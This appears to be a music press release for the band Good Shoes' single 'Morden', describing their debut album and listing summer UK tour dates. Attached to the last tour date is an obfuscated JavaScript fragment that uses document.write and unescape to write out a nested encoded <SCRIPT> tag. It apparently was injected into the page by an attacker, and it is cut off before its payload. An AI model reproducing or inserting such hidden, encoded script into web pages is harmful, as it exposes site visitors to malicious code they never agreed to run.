Good Shoes release Morden

Morden, the new single by Good Shoes, is the greatest lyrical assault on the capital's grey and depressing suburbs since Weller gave Woking a pasting with 'That's Entertainment'. Harshly realistic and crisply witty, 'Morden' reflects the reality of growing up for most British teenagers, providing insight into why Good Shoes sound like they do and connect with their audience in such a genuine way. Packed into a tight 3 minutes Rhys Jones manages to fit in pound shops, greasy takeaways, casual racism, the whole tedious spectrum of suburban high street life. It's no surprise that wherever they play, this is always the song audiences shout for more than any other.

Good Shoes' recently released debut album 'Think Before You Speak' demonstrates their utterly unique take on punk and pop and comes from their open minded and unsentimental approach to music. While most bands cite a record collection full of influences, Good Shoes, like their young fans, listen mostly to the brand new music of their contemporaries. Although they've drawn comparisons with seminal bands such as Magazine and Wire, Good Shoes make their music without history or preconceptions, their dedication to creativity and artistic ability coupled with Rhys's pointed lyrics resulting in delightfully fresh vignettes on modern life.

Mostly though they have one thing in common with every great 'sound of the suburbs'. Every song belongs on the dance-floor. Quite an astounding achievement for four young friends, who continue to meet and rehearse in their garden shed in Morden.

Good Shoes tour the UK this summer:

May
18th – Southampton, Joiners Arms
19th – Brighton, The Great Escape
28th – Wimbledon, The Watershed

June
1st – Darlington, Inside Out 'Club Strut'
7th – Sheffield, University 'Fuzz Club'
8th – Liverpool, Academy
9th – Hull, The Welly
11th – Edinburgh, Cabaret Volitaire
12th – Aberdeen, Tunnels
13th – Inverness, Ironworks
16th – Leeds, Wireless
17th – London, Wireless
20th – Norwich, Arts Centre
21st – Bath, Moles
26th – Cardiff, Clwb Ifor Bach
27th – Southend, Chinnerys
28th – London, The Borderline

July
20th – Northampton, Soundhaus
21st – Wolverhampton, Civic Bar
22nd – Lovebox Weekender

August
25th – Reading, Carling Weekend
26th – Leeds, Carling Weekenddocument.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22